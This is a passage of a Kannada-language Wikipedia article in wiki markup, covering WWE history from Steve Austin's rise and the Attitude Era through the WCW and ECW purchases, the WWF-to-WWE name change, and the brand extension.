ಶುರುಮಾಡಿದನು. [[ವ್ರೆಸಲ್‌ಮೇನಿಯಾ XII|WrestleMania XII]] ನಂತರದ ಹಾರ್ಟ್‌ನ ಅನುಪಸ್ಥಿತಿಯಲ್ಲಿ, ಸ್ಟೀವ್ ಆಸ್ಟಿನ್ [[:ಸ್ಟೋನ್ ಕೊಲ್ಡ್ ಸ್ಟೀವ್ ಆಸ್ಟಿನ್#ಆಸ್ಟಿನ್ 3:16 ಮತ್ತು ಸೂಪರ್‌ಸ್ಟಾರ್‌ಡಮ್‌ಗೆ ಏರಿಕೆ (1996-1997)|ಆಸ್ಟಿನ್ 3:16]] ಭಾಷಣದಿಂದ ಪ್ರಾರಂಭಿಸಿದ, 1996ರ[[ಕಿಂಗ್ ಆಫ್ ದ ರಿಂಗ್|ಕಿಂಗ್ ಅಫ್ ರಿಂಗ್‌]]ನ ಶುಲ್ಕವಿಧಿತ ಪ್ರದರ್ಶನ ಪಂದ್ಯಾವಳಿಯ ಫೈನಲ್‌ನಲ್ಲಿ [[ಜೆಕ್ ರೊಬರ್ಟ್ಸ್|ಜೇಕ್ ರಾಬರ್ಟ್ಸ್‌]]ನನ್ನು ಸೋಲಿಸಿದ ನಂತರದಲ್ಲಿ ಸ್ಟೀವ್ ಅಸ್ಟಿನ್ ಆ ಕಂಪೆನಿಯ ಹೊಸ ಮುಖವಾದ.<ref>{{cite book |author=Mick Foley |title=[[Have a Nice Day: A Tale of Blood and Sweatsocks]] |publisher=HarperCollins |date=2000 |pages=229 |isbn=0061031011}}</ref>[[ವ್ರೆಸಲ್‌ಮೇನಿಯಾ 13|WrestleMania 13]]ರ ಒಂದು ಶ್ಲಾಘನೀಯ ಪಂದ್ಯದಲ್ಲಿ ಹಾರ್ಟ್ ಆಸ್ಟಿನ್‌ನನ್ನು ಸೋಲಿಸಿದ, ಮತ್ತು ಅದರ ಸ್ವಲ್ಪ ಸಮಯದ ನಂತರ ಹಾರ್ಟ್ [[ದಿ ಹಾರ್ಟ್ ಫೌಂಡೇಶನ್|ದಿ ಹಾರ್ಟ್ ಫೌಂಡೇಶನ್‌ ]]ನನ್ನು ಸ್ಥಾಪಿಸಿದ.ಆಸ್ಟಿನ್ ಮತ್ತು [[ಶಾನ್ ಮೈಕಲ್ಸ್]] ಹೆಚ್ಚು ವರ್ಷಗಳಲ್ಲಿ ಅವರಲ್ಲಿ ದಾವೆ ಹೂಡಿದರು. ಇದು ಕಂಪೆನಿಯ ವ್ಯಾಪಾರದಲ್ಲಿ ಬಹುಮುಖ್ಯ ಬದಲಾವಣೆಯ ಘಟ್ಟ ಎಂದು ಸಾಬೀತಾಯಿತು. ತನ್ನ ಬಹುಕಾಲದ ಬಲವಾದ ವರ್ಚಸ್ಸಿನ ಹೊರತು, [[ಕೆನಡಾ|ಕೆನಡಾದ]] ಹಾರ್ಟ್ ಒಂದು Anti-USA ಗಿಮಿಕ್‌ನಲ್ಲಿ [[ವೃತ್ತಿ ನಿರತರ ಕುಸ್ತಿಯ ಶಬ್ದಗಳ ಪಟ್ಟಿ#T|ಪರಾಭವಗೊಂಡ.]] ಆತನನ್ನು ಕೆಳಮಟ್ಟಕ್ಕೆ ತರುವ ಹಲವು ಪ್ರಯತ್ನಗಳ ನಂತರವೂ ಸ್ಟೀವ್ ಅಸ್ಟೀನ್ ಅಭಿಮಾನಿಗಳಿಂದ ಪ್ರೋತ್ಸಾಹಿಸಲ್ಪಟ್ಟನು(see [[ವೃತ್ತಿ ನಿರತರ ಕುಸ್ತಿಯ ಶಬ್ದಗಳ ಪಟ್ಟಿ#T|tweener]]). [[ಡ್ವಾಯ್ನೆ ಜಾನ್ಸನ್|ರಾಕಿ ಮೈವಿಯಾ]] ತನ್ನ ಅಭಿಮಾನಿಗಳು ಅವನ "ಒಳ್ಳೆಯ ಹುಡುಗ" ಎಂಬ ವರ್ಚಸ್ಸನ್ನು ತಿರಸ್ಕರಿಸಿದ ನಂತರ [[ನೇಷನ್ ಆಫ್ ಡೊಮಿನೇಷನ್|ನೆಶನ್ ಆಫ್ ಡಾಮಿನೇಶನ್]] [[ವೃತ್ತಿ ನಿರತರ ಕುಸ್ತಿಯ ಶಬ್ದಗಳ ಪಟ್ಟಿ#S|ಸ್ಟೇಬಲ್‌]] ಸೇರಿದ, ಮತ್ತು ಶಾನ್ ಮೈಕಲ್ಸ್‌ [[ಟ್ರಿಪಲ್ H]] ಮತ್ತು [[ಶೀನಾ|ಚೈನಾ]]ರೊಂದಿಗೆ [[D-ಜೆನರೇಷನ್ X|D-Generation X]] ಬೀದಿ ಗುಂಪು ಪಕ್ಷ ಸ್ಥಾಪಿಸಿದ; ಸ್ಟೋನ್ ಕೋಲ್ಡ್ ಸ್ಟೀವ್ ಆಸ್ಟಿನ್ ಪಾತ್ರದಂತೆ, DXನನ್ನು ಅಭಿಮಾನಿಗಳು ಮತ್ತು ಇತರ ಕುಸ್ತಿಪಟುಗಳು ಅವರ ಬಗ್ಗೆ ಏನು ಯೋಚಿಸುತ್ತಾರೆ ಎಂದು ಲಕ್ಷಿಸದೇ ರೂಪಿಸಲಾಯಿತು. ಶಾನ್ ಮೈಕಲ್ಸ್ ಮತ್ತು [[ದಿ ಅಂಡರ್‌ಟೇಕರ್|ದಿ ಅಂಡರ್‍ಟೇಕರ್]] ನಡುವಿನ [[ಹೆಲ್ ಇನ್ ಎ ಸೆಲ್]] ಪಂದ್ಯ WWFನ ಕ್ರಿಯೇಟಿವ್ ಬೋರ್ಡ್‌ಗೆ ಹೊಸದಾದ ಮತ್ತು ಬಲವಾದ ಅಡಿಪಾಯವನ್ನು ಒದಗಿಸಿತು. WWFನಿಂದ ಬ್ರೆಟ್‍ ಹಾರ್ತ್‌ನ ವಿವಾದಾತ್ಮಕ ವಿದಾಯದಿಂದ ಮ್ಯಾಕ್‌ಮೋಹನ್ ಅಭಿಮಾನಿಗಳು ವ್ಯಾಪಕವಾಗಿ ಆತನನ್ನು ತಿರಸ್ಕರಿಸುವುದರೊಂದಿಗೆ 1997 ಮುಕ್ತಾಯವಾಯಿತು (ನೋಡಿ: [[Montreal Screwjob]]), ಇದು [[ಧೋರಣೆಯ ಯುಗ|ದಿ ಆ‍ಯ್‌ಟಿಟ್ಯೂಡ್ ಎರಾ]]ದ ಸ್ಥಾಪನೆಗೆ ಬಲವಾದ ಪ್ರಾರಂಭ ಎಂದು ಸಾಬೀತಾಯಿತು. ===ಆ‍ಯ್‌ಟಿಟ್ಯೂಡ್ ಎರಾ (ದೋರಣೆಯ ಯುಗ)=== {{Main|The Attitude Era}} ಜನವರಿ 1998ರಷ್ಟರಲ್ಲಿ, WCW ಜೊತೆಗೆ ಸ್ಪರ್ಧಿಸುವ ಪ್ರಯತ್ನದಲ್ಲಿ WWF ಹೆಚ್ಚಿನ ಹಿಂಸೆ, ಶಪಥ ಮಾಡುವುದು ಮತ್ತು ಹೆಚ್ಚಿನ ಹರಿತ ಕೋನಗಳಲ್ಲಿ ಪ್ರಸಾರ ಮಾಡಲು ಶುರುಮಾಡಿತು. ಮೊಂಟ್‌ರಿಯಲ್‍ ಸ್ಕ್ರೂಜಾಬ್ ಘಟನೆಯ ನಂತರ ಬ್ರೆಟ್ ಹಾರ್ಟ್ WCWಗೆ ಸೇರಿಕೊಂಡ,<ref>{{cite book|author=Mick Foley|title=Have a Nice Day: A Tale of Blood and Sweatsocks|publisher=HarperCollins|date=2000|pages=648|isbn=0061031011}}</ref> ವಿನ್ಸ್ ಮ್ಯಾಕ್‌ಮೋಹನ್ ಅನಿರೀಕ್ಷಿತ ಆಘಾತದ ನಂತರ "[[ ವಿನ್ಸ್ ಮ್ಯಾಕ್‌ಮೋಹನ್#ಮಿ.ಮ್ಯಾಕ್‌ಮೋಹನ್|ಮಿ.ಮ್ಯಾಕ್‌ಮೋಹನ್]]" ಪಾತ್ರವನ್ನು ಸೃಷ್ಟಿಸಿದನು. ಈ ಪಾತ್ರವು [[ನಿರಂಕುಶ ಪ್ರಭು|ನಿರಕುಂಶ]], ಉತ್ತಮ ಆಡಳಿತಗಾರ ಮತ್ತು "ವ್ಯವಹಾರಕ್ಕೆ ಉತ್ತಮ" ಸ್ಥಾನಕ್ಕೆ ಹೊಂದುವ ಪಾತ್ರವಾಗಿ, "ಸರಿಹೊಂದದ" ಆಸ್ಟಿನ್‌ಗಿಂತ ಉತ್ತಮ ಎಂಬ ರೀತಿಯಲ್ಲಿ ಚಿತ್ರಿತವಾಗಿತ್ತು. ಇದರ ಪ್ರತಿಫಲವಾಗಿ, ಆ‍ಯ್‌ಸ್ಟಿನ್ ಮತ್ತು ಮ್ಯಾಕ್‌ಮೋಹನ್ ವ್ಯಾಜ್ಯಕ್ಕೆ, ಮತ್ತು ಡಿ-ಜೆನರೆಷನ್ X ನೊಂದಿಗೆ, ಆ‍ಯ್‌ಟಿಟ್ಯೂಡ್ ಎರಾ ಅಥವಾ ದೋರಣೆಯ ಯುಗ ಪ್ರಾರಂಭವಾಯಿತು. ಇದರಲ್ಲಿ ಸ್ಥಾಪಿತ ಸೋಮವಾರ ರಾತ್ರಿಯ ಕುಸ್ತಿಯನ್ನು ಸಹಾ ಹೊಂದಿತ್ತು. WCW ಮತ್ತು WWF ಎರಡೂ ಸಹಾ ಸೋಮವಾರ ರಾತ್ರಿ ಶೋಗಳನ್ನು ಹೊಂದಿದ್ದು ಅವು ರೇಟಿಂಗ್‌ನಲ್ಲಿ ಪ್ರತಿಸ್ಪರ್ಧಿಗಳಾದವು. WWF ಗೆ ಹಲವು ಹೊಸ ಕುಸ್ತಿ ಪಟುಗಳಾದ[[ಕ್ರಿಸ್ ಜೆರಿಖೊ|ಕ್ರಿಸ್‍ ಜೆರಿಕೋ]], [[ದಿ ರಾಡಿಕಲ್ಸ್|ದಿ ರಾಡಿಕಾಲ್ಜ್]] ([[ಕ್ರಿಸ್ ಬೆನೊಯಿಟ್]], [[ಎಡ್ಡಿ ಗುರೇರೊ|ಎಡ್ಡಿ ಗುರೆರೊ]], [[ಪೆರ್ರಿ ಸಾಟರ್ನ್|ಪೆರ್ರಿ ಸ್ಯಾಟರ್ನ್]], [[ಡೀನ್ ಮಲೆಂಕೋ|ಡೀನ್ ಮಲೆನ್ಕೋ]]) ಮತ್ತು [[1996 ಸಮ್ಮರ್ ಓಲಂಪಿಕ್ಸ್|1996 ಓಲಂಪಿಕ್]] ಚಿನ್ನದ ಪದಕ ವಿಜೇತ, [[ಕರ್ಟ್ ಎಂಗಲ್|ಕರ್ಟ್ ಯಾಂಗಲ್]], WWFಗೆ ಸೇರಿಕೊಂಡರು, ಅವುಗಳಲ್ಲಿ ರಾಕ್ (ಮೊದಲ ಹೆಸರು ರಾಕಿ ಮೈವೈ), ಮತ್ತು ಮಿಕ್ಕಿ ಫೊಲೆ (ಮ್ಯಾನ್‌ಕೈಂಡ್, ಕಾಕ್ಟಸ್ ಜಾಕ್ ಮತ್ತು ಡ್ಯೂಡ್ ಲವ್) ಮುಖ್ಯ ವಿಭಾಗದಲ್ಲಿ ಸ್ಪರ್ಧಿಸುವವರಾದರು. ಈ ಯುಗ ವೀಕ್ಷಕರನ್ನು ಹೆಚ್ಚಿಸಲು ವಿವಿಧ ಶರತ್ತುಗಳ ಹೆಚ್ಚಿನ ಮೃಗೀಯ ಪಂದ್ಯಗಳ ಕ್ರಾಂತಿ ಕಂಡಿತು. ಮುಖ್ಯವಾಗಿ ಹೆಲ್‍ ಇನ್‍ ಸೆಲ್ (ಇದರ ಎರಡನೆಯ ಪ್ರವೇಶದಲ್ಲಿ ಅಂಡರ್‍ಟೇಕರ್ ವಿರುದ್ಧವಾಗಿ ಮ್ಯಾನ್‌ಕೈಂಡ್‌ ಕಾಣಿಸಿಕೊಳ್ಳುವುದು) ಮತ್ತು ಇನ್‌ಫರ್ನೊ ಪಂದ್ಯ ([[ಗ್ಲಿನ್ ಜಾಕೊಕ್ಸ್|ಕೆನ್]] ವಿರುದ್ಧ ಅಂಡರ್‌ಟೇಕರ್ ಎದುರಾಗಿದ್ದು).<ref>{{cite web|url=http://www.wwe.com/inside/specialtymatches/infernomatch|title=Specialty Matches|work=WWE|accessdate=2008-12-20|archive-date=2008-03-19|archive-url=https://web.archive.org/web/20080319090856/http://www.wwe.com/inside/specialtymatches/infernomatch|url-status=dead}}</ref> ===ವ್ಯವಹಾರದ ಅಭಿವೃದ್ಧಿ=== ಏಪ್ರಿಲ್ 29, 1999 ರಂದು, ಅನನುಭವಿ[[ಭೌಮಿಕ ದೂರದರ್ಶನ|UPN]] ನೆಟ್‌ವರ್ಕ್‌ನಲ್ಲಿ WWF ''[[WWE ಸ್ಮ್ಯಾಕ್‌ಡೌನ್|ಸ್ಮಾಕ್‌ಡೌನ್]]'' ಎಂಬ ವಿಶೇಷ ಕಾರ್ಯಕ್ರಮವನ್ನು ಪ್ರಾರಂಭಿಸುವ ಮೂಲಕ [[UPN|ದೂರದರ್ಶನ ಪ್ರಪಂಚ]]ಕ್ಕೆ ವಾಪಸಾಯಿತು. ಅಗಸ್ಟ್‌ 26, 1999ರಂದು, ಮಂಗಳವಾರ ರಾತ್ರಿ ಶೋ ವಾರದ ಸರಣಿಯಾಯಿತು. ಆ‍ಯ್‌ಟಿಟ್ಯೂಡ್ ಎರಾದ ಯಶಸ್ಸಿನ ಹಿನ್ನಲೆಯಲ್ಲೇ, ಅಕ್ಟೋಬರ್ 19, 1999ರಂದು ಪೋಷಕ WWFನ ಕಂಪನಿ, ಟೈಟಾನ್ ಸ್ಪೋರ್ಟ್ಸ್ (ಆ ವೇಳೆಗೆ World Wrestling Federation Entertainment, Inc. ಎಂದು ಪುನರ್‍ನಾಮಕರಣಗೊಂಡಿತ್ತು) ಸಾರ್ವಜನಿಕ ಉದ್ದಿಮೆ ಕಂಪೆನಿಯಾಯಿತು, ಒಂದಕ್ಕೆ $17 ಬೆಲೆಯ 10ಮಿಲಿಯನ್ ಶೇರುಗಳನ್ನು ಮಾರಾಟಕ್ಕಿಟ್ಟಿತು.<ref name="wwfstock">{{cite web|url=http://www.pbs.org/newshour/extra/features/july-dec99/wwf.html|title=WWF Enters the Stock Market|accessdate=2007-05-05|date=1999-10-19}}</ref> [[The World (WWE)|ಟೈಮ್ಸ್ ಸ್ಕ್ವೇರ್‌ನಲ್ಲಿ ಒಂದು ನೈಟ್‍ಕ್ಲಬ್‌]]ನ ಸೃಷ್ಟಿ, [[WWE Studios|ಚಲಚಿತ್ರ ನಿರ್ಮಾಣ]], ಮತ್ತು ಪುಸ್ತಕ ಪ್ರಕಟಣೆಯನ್ನು ಒಳಗೊಂಡ ತನ್ನ ವೈವಿಧ್ಯೀಕರಣದ ಆಸೆಯನ್ನು ‎WWF ಪ್ರಕಟಿಸಿತು. 2000ರಲ್ಲಿ, WWF, ದೂರದರ್ಶನ ಜಾಲ [[NBC]]ಯ ಸಹಕಾರದೊಂದಿಗೆ,[[XFL]] ಎಂಬ ಒಂದು ಹೊಸ ವೃತ್ತಿಪರ [[ಅಮೆರಿಕನ್‌ ಫುಟ್‌ಬಾಲ್‌|ಫುಟ್ಬಾಲ್]] ಲೀಗ್‌ನ್ನು ಸೃಸ್ಟಿಸುವ ಬಗ್ಗೆ ಘೊಷಿಸಿತು.ಅದು 2001ರಲ್ಲಿ ಪ್ರಾರಂಭವಾಯಿತು.<ref name="xfl">{{cite web|url=http://corporate.wwe.com/news/2000/2000_02_03.jsp|title=WWE Entertainment, Inc. announces the formation of the XFL -- a new professional football league|accessdate=2007-05-05|month=02|date=03|year=2000|archive-date=2007-04-06|archive-url=https://web.archive.org/web/20070406072307/http://corporate.wwe.com/news/2000/2000_02_03.jsp|url-status=dead}}</ref> ಆ ಲೀಗ್ ಅಶ್ಚರ್ಯಕರ ರೀತಿಯಲ್ಲಿ, ಮೊದಲ ಕೆಲವು ವಾರಗಳಲ್ಲಿ ಹೆಚ್ಚು ರೇಟಿಂಗ್ ಗಳಿಸಿತು, ಅದರೆ ಪ್ರಾರಂಭದ ಆಸಕ್ತಿ ನಂತರದಲ್ಲಿ ನಾಶವಾದ ಕಾರಣದಿಂದಾಗಿ ಅದರ ರೇಟಿಂಗ್ ಕೆಳಮಟ್ಟಕ್ಕಿಳಿಯಿತು(ಅದರ ಒಂದು ಆಟ ಅಮೆರಿಕದ ದೂರದರ್ಶನ ಇತಿಹಾಸದಲ್ಲಿ ಅತ್ಯಂತ ಕಡಿಮೆ ರೇಟಿಂಗ್ ಇರುವ ಪ್ರೈಮ್‌ಟೈಮ್ ಕಾರ್ಯಕ್ರಮ). ಒಂದೇ ಒಂದು ಸಿಸನ್ ನಂತರ NBC ಈ ಸಾಹಸದಿಂದ ಹೊರ ನಡೆಯಿತು, ಅದರೆ ಮ್ಯಾಕ್‌ಮೋಹನ್ ಒಬ್ಬನೇ ಮುಂದುವರಿಯಲು ಯೋಚಿಸಿದ.ಅದರೆ, UPN ಜೊತೆ ವ್ಯವಹಾರ ನಡೆಸಲು ಸಾಧ್ಯವಾಗದಿದ್ದಾಗ, ಮ್ಯಾಕ್‌ಮೋಹನ್ XFLನ್ನು ಮುಚ್ಚಿದ.<ref name="xflfolds">{{cite web|url= http://sportsillustrated.cnn.com/football/news/2001/05/10/xfl_folds_ap/|title=XFL folds after disappointing first season|accessdate =2007-05-05|date=2001-05-10}}</ref> ===WCW ಮತ್ತು ECW ಗಳನ್ನು ಗಳಿಸಿದ್ದು=== ಧೋರಣೆಯ ಯುಗವು ಸೋಮವಾರ ರಾತ್ರಿ ಯುದ್ಧಗಳ ಅಲೆಯನ್ನು WWFನ ಹಿತಪಕ್ಷಕ್ಕೆ ತಿರುಗಿಸಿತು. ಟೈಮ್ ವಾರ್ನರ್ [[AOL]] ಜೊತೆಗೆ ಸೇರಿದ ಮೇಲೆ,[[ಟೆಡ್‌ ಟರ್ನರ್|ಟೆಡ್ ಟರ್ನರ್]] ರವರ ಪ್ರಭಾವ WCW ಮೇಲೆ ಗಮನಾರ್ಹವಾಗಿ ಕಡಿಮೆಯಾಯಿತು, ಮತ್ತು ಹೊಸ ಕಂಪನಿ WCWಯನ್ನು ಪೂರ್ತಿಯಾಗಿ ತೊಡೆದುಹಾಕಲು ನಿರ್ಧರಿಸಿತು.ಮಾರ್ಚ್ 2001ರಲ್ಲಿ WWF Entertainment,Inc. ಸುಮಾರು $7 ಮಿಲಿಯನ್‌ಗೆ World Championship Wrestling, Inc. AOL ಟೈಮ್ ವಾರ್ನರ್ ಇವರಿಂದ ಗಳಿಸಿತು ಎಂದು ವರದಿಯಾಗಿದೆ.<ref name="wcw">{{cite web|url=http://corporate.wwe.com/news/2001/2001_03_23.jsp|title=WWE Entertainment, Inc. Acquires WCW from Turner Broadcasting|accessdate=2007-05-05|month=03|date=23|year=2001|archive-date=2014-03-13|archive-url=https://web.archive.org/web/20140313012636/http://corporate.wwe.com/news/2001/2001_03_23.jsp|url-status=dead}}</ref> ಈ ಖರೀದಿಯಿಂದ WWF ಕುಸ್ತಿಯು ವಿಶ್ವದಲ್ಲಿಯೇ ದೊಡ್ಡ ಪ್ರಚಾರವಾಯಿತು, ಮತ್ತು ಇಡೀ ಉತ್ತರ ಅಮೇರಿಕದಲ್ಲಿ ಹೆಚ್ಚಿನ ಪ್ರಚಾರವಿರುವ ಏಕೈಕ ಪ್ರಕಾರವಾಯಿತು. ಇದು 2002 ರಲ್ಲಿ [[ಟೋಟಲ್ ನಾನ್‌ಸ್ಟಾಪ್ ಆಕ್ಷನ್ ವ್ರೆಸ್ಲಿಂಗ್|ಟೋಟಲ್ ನಾನ್‌ಸ್ಟಾಪ್ ಆಕ್ಷನ್ ಕುಸ್ತಿ]] ಸ್ಥಾಪನೆಯಾಗುವರೆಗೂ ಹಾಗೆಯೇ ಉಳಿಯಿತು. [[ಎಕ್ಸ್‌ಟ್ರೀಮ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್ ವ್ರೆಸ್ಲಿಂಗ್|ಎಕ್ಸಟ್ರೀಮ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್ ಕುಸ್ತಿ]] (ECW)ಯ ಆಸ್ತಿ [[ದಿವಾಳಿಯಾಗುವಿಕೆ|ದಿವಾಳಿ]]ಯಾಗದಂತೆ ಸಂರಕ್ಷಿಸಬೇಕೆಂದು ಎಪ್ರಿಲ್ 2001ರಲ್ಲಿ ಕೋರಿದಾಗ, ಅದನ್ನು WWE ಮಧ್ಯ-2003ರಲ್ಲಿ ಖರೀದಿಸಿತು..<ref>{{cite book|last1=Shields|first1=Brian|last2=Sullivan|first2=Kevin|title=WWE: History of WrestleMania|year=2009|page=58|accessdate=2009-07-16}}</ref> ===ಹೆಸರಿನ ವಿವಾದ=== 2000ರಲ್ಲಿ [[ವರ್ಲ್ಡ್ ವೈಡ್ ಫಂಡ್ ಫಾರ್ ನೇಚರ್|ವರ್ಲ್ಡ್ ವೈಡ್ ಫನ್ಡ್ ಫಾರ್ ನೇಚರ್]] (ಇದು ಕೂಡ WWF) ಎಂಬ ಪರಿಸರ ಸಂಘಟನೆಯವರು ವರ್ಲ್ ವ್ರೆಸ್ಲಿಂಗ್ ಫೆಡರೇಷನ್ ಮೇಲೆ ಮೊಕದ್ದಮೆ ಹಾಕಿದರು. [[ಲಾರ್ಡ್ ಆಫ್ ಅಪೀಲ್ ಇನ್ ಆರ್ಡಿನರಿ|ನ್ಯಾಯಾಧಿಪತಿಗಳು]] ಟೈಟನ್ ಸ್ಪೋರ್ಟ್ಸ್ 1994ರ ಒಪ್ಪಂದ ಉಲ್ಲಂಘಿಸಿತು ಎಂದು ಒಪ್ಪಿದರು. ಆ ಒಪ್ಪಂದದ ಪ್ರಕಾರ WWF ಹೆಸರಿನ ಮೊದಲಕ್ಷರಗಳ ಬಳಕೆ ಹೊರದೇಶಗಳಲ್ಲಿ ವಿಶೇಷವಾಗಿ ಮಾರಾಟಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ ಸೀಮಿತವಿರಬೇಕಾಗಿತ್ತು. ಈ ಎರಡು ಕಂಪನಿಗಳು ಈ ಹೆಸರಿನ ಮೊದಲಕ್ಷರಗಳನ್ನು ಮಾರ್ಚ್ 1979ಯಿಂದ ಬಳಸಿದರು.<ref name="Agreement">{{cite web|title=Agreement-WWF-World Wide Fund for Nature and Titan Sports Inc.|url= http://contracts.corporate.findlaw.com/agreements/wwf/worldwildlife.1997.01.20.html|accessdate=2006-11-23}}</ref> ಮೇ 5,2002ರಂದು ಈ ಕಂಪನಿ ನಿಶ್ಯಬ್ಧವಾಗಿ ತನ್ನ ವೆಬ್‌ಸೈಟಿನಿಂದ ಎಲ್ಲಾ ಉಲ್ಲೇಖಗಳನ್ನು "WWF" ಯಿಂದ "WWE"ಗೆ ಬದಲಿಸಿತು ಹಾಗೂ ತನ್ನ [[ಯೂನಿಫಾರ್ಮ್ ರಿಸೋರ್ಸ್ ಲೊಕೇಟರ್|URL]] ಅನ್ನು ''WWF.com'' ನಿಂದ ''WWE.com'' ಗೆ ಬದಲಿಸಿತು. ಮರುದಿನ ತನ್ನ ಅಧಿಕೃತ ಹೆಸರನ್ನು ''World Wrestling Federation Entertainment, Inc'' ರಿಂದ ''World Wrestling Entertainment, Inc.'' ಅಥವಾ WWEಯೆಂದು ಪತ್ರಿಕಾಗೋಷ್ಠಿಯಲ್ಲಿ ಘೋಷಿಸಿತು. ಮತ್ತು ಈ ಬದಲಾವಣೆಯನ್ನು ನಂತರ ಅದೇ ದಿನ ''ಮಂಡೆ ನೈಟ್ ರಾ'' ದ ಪ್ರಸಾರದಲ್ಲಿ ಪ್ರಕಟಿಸಲಾಯಿತು. ಇದನ್ನು [[ಹಾರ್ಟ್‌ಫರ್ಡ್, ಕನೆಕ್ಟಿಕಟ್|ಕನೆಕ್ಟಿಕಟ್‌ನ ಹಾರ್ಟ್‌ಫರ್ಡ್‌]]ನಲ್ಲಿರುವ [[XL ಕೇಂದ್ರ|ಹಾರ್ಟ್‌ಫರ್ಡ್ ಸಿವಿಕ್ ಸೆಂಟರ್]] ನಿಂದ ಪ್ರಸಾರ ಮಾಡಲಾಯಿತು. ಸ್ವಲ್ಪ ಸಮಯದವರೆಗೆ WWE ಯವರು "ಗೆಟ್ ದ ’ಎಫ್’ ಔಟ್" ಎಂಬ ಘೋಷಣೆ ಬಳಸುತ್ತಿದ್ದರು.<ref name="GetFOut">{{cite web|title=World Wrestling Federation Entertainment Drops The "F" To Emphasize the "E" for Entertainment|publisher=WWE|url=http://corporate.wwe.com/news/2002/2002_05_06.jsp|accessdate=2006-08-28|archive-date=2009-01-19|archive-url=https://web.archive.org/web/20090119180317/http://corporate.wwe.com/news/2002/2002_05_06.jsp|url-status=dead}}</ref> ಹಳೇಯ ''WWF'' ಧೋರಣೆ ಚಿನ್ಹೆಗಳನ್ನು ತನ್ನ ಯಾವುದೆ ಸ್ವತ್ತುಗಳ ಮೇಲೆ ಬಳಸುವುದು ನಿಲ್ಲಿಸುವಂತೆ ಮತ್ತು ಹಿಂದಿನ ಎಲ್ಲಾ ಉಲ್ಲೇಖಗಳಲ್ಲಿ WWF ಹೆಸರನ್ನು ತೆಗೆಯುವಂತೆ ಕಂಪನಿಗೆ ಆದೇಶಿಸಲಾಯಿತು. ಏಕೆಂದರೆ ನಿರ್ದಿಷ್ಟ ಸಂದರ್ಭಗಳಲ್ಲಿ ''WWF'' ಹೆಸರಿನ ಮೊದಲಕ್ಷರಗಳ ಸ್ವಾಮ್ಯದ ಮುದ್ರೆ ಈಗ ಅವರ ಸ್ವಂತದಾಗಿರಲಿಲ್ಲ.<ref>{{cite news|url=http://corporate.wwe.com/news/2002/2002_05_06.jsp|title=World Wrestling Federation Entertainment Drops The "F" To Emphasize the "E" for Entertainment|publisher=WWE|accessdate=2008-12-20|date=2002-05-06|archive-date=2009-01-19|archive-url=https://web.archive.org/web/20090119180317/http://corporate.wwe.com/news/2002/2002_05_06.jsp|url-status=dead}}</ref> ಹಲವು ವಿವಾದಗಳಿದ್ದರೂ WWEಗೆ 1984ರಿಂದ 1997ರ ವರೆಗೆ ಬಳಸಿದ ಆರಂಭದ WWF ಚಿನ್ಹೆ ಮತ್ತು 1994ರಿಂದ 1998ರ ವರೆಗೆ ಉಪಯೋಗಿಸುತ್ತಿದ "ಹೊಸ WWF ಪೀಳಿಗೆ" ಚಿನ್ಹೆಯನ್ನು ಬಳಸಲು ಅನುಮತಿಯಿತ್ತು. ಇಷ್ಟೇ ಅಲ್ಲದೇ, ಈ ಕಂಪನಿಯು "ವರ್ಲ್ಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಫೆಡರೇಷನ್" ಮತ್ತು "ವರ್ಲ್ಡ್ ವ್ರೆಸ್ಲಿಂಗ್ ಫೆಡರೇಷನ್ ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್" ಎಂಬ ಪೂರ್ತಿ ಹೆಸರುಗಳನ್ನು ಯಾವುದೇ ಅಡಚಣೆಯಿಲ್ಲದೆ ಉಪಯೋಗಿಸಬಹುದು. ===ಬ್ರಾಂಡ್ ವಿಸ್ತಾರ=== ಹೆಸರು ಬದಲಾಯಿಸುವ ಸುಮಾರು ಎರಡು ತಿಂಗಳ ಮುಂಚೆ ಮಾರ್ಚ್ 2002ರಲ್ಲಿ WWE ಎರಡು ಸರದಿಗಳನ್ನು ಸೃಷ್ಟಿಸಲು ನಿರ್ಧರಿಸಿತು. ಅವು ''ರಾ'' ಮತ್ತು ''[[WWE ಸ್ಮ್ಯಾಕ್‌ಡೌನ್|ಸ್ಮ್ಯಾಕ್‌ಡೌನ್!]]'' ಇದಕ್ಕೆ ಕಾರಣವೆಂದರೆ ಅವರಲ್ಲಿ [[ಧಾಳಿ (ವೃತ್ತಿ ನಿರತರ ಕುಸ್ತಿ)|ಇನ್ವೇಶನ್ ಸ್ಟೋರಿ‌ಲೈನ್‌]]ನಿಂದ ಉಳಿದ ಪ್ರತಿಭೆಗಳು ಅತ್ಯಂತ ಹೆಚ್ಚು ಜನರಿದ್ದದ್ದು. ಇದನ್ನೇ [[WWE ಬ್ರಾಂಡ್ ವಿಸ್ತಾರ|WWEನ ಬ್ರಾಂಡ್ ವಿಸ್ತಾರ]] ಎನ್ನುತ್ತಾರೆ. ಬ್ರಾಂಡ್ ವಿಸ್ತಾರದ ಜೊತೆಗೆ, WWE ಪ್ರತೀ ವರ್ಷ [[WWE ಡ್ರಾಫ್ಟ್|ಕರಡು ಲಾಟರಿ]]ಯನ್ನು ಆಯೋಜಿಸುತದೆ. ===ಬದಲಾಗುತ್ತಿರುವ ನೆಟ್‌ವರ್ಕ್‌ಗಳು=== 2005ರ ಕೊನೆಯಲ್ಲಿ,[[WWE ರಾ]] TNN(ಈಗ [[ಸ್ಪೈಕ್ (TV ಚಾನಲ್)|Spike TV]] ಆಗಿದೆ)ನಲ್ಲಿನ ತನ್ನ ಐದು ವರ್ಷದ ನಿಗದಿತ ಕಾಲದ ಕೆಲಸವನ್ನು ಮುಗಿಸಿ ತನ್ನ ಆರಂಭದ ನಿವಾಸ [[USA ನೆಟ್‌ವರ್ಕ್|USA ನೆಟ್‌ವರ್ಕ್‌]]ಗೆ ಹಿಂತಿರುಗಿತು. USA ನೆಟ್‌ವರ್ಕ್‌ನ ಮಾತೃ ಕಂಪನಿಯಾದ NBC ಯುನಿವರ್ಸಲ್‌ನೊಡನೆ ಮಾಡಿಕೊಂಡ ಕರಾರಿನ ಕಾರಣ 2006ರಲ್ಲಿ WWEಗೆ ಅದರ ಪ್ರಸಿದ್ಧ ಶನಿವಾರ ರಾತ್ರಿಯ ಶೋ ಆದ [[ಶನಿವಾರ ರಾತ್ರಿಯ ಮುಖ್ಯ 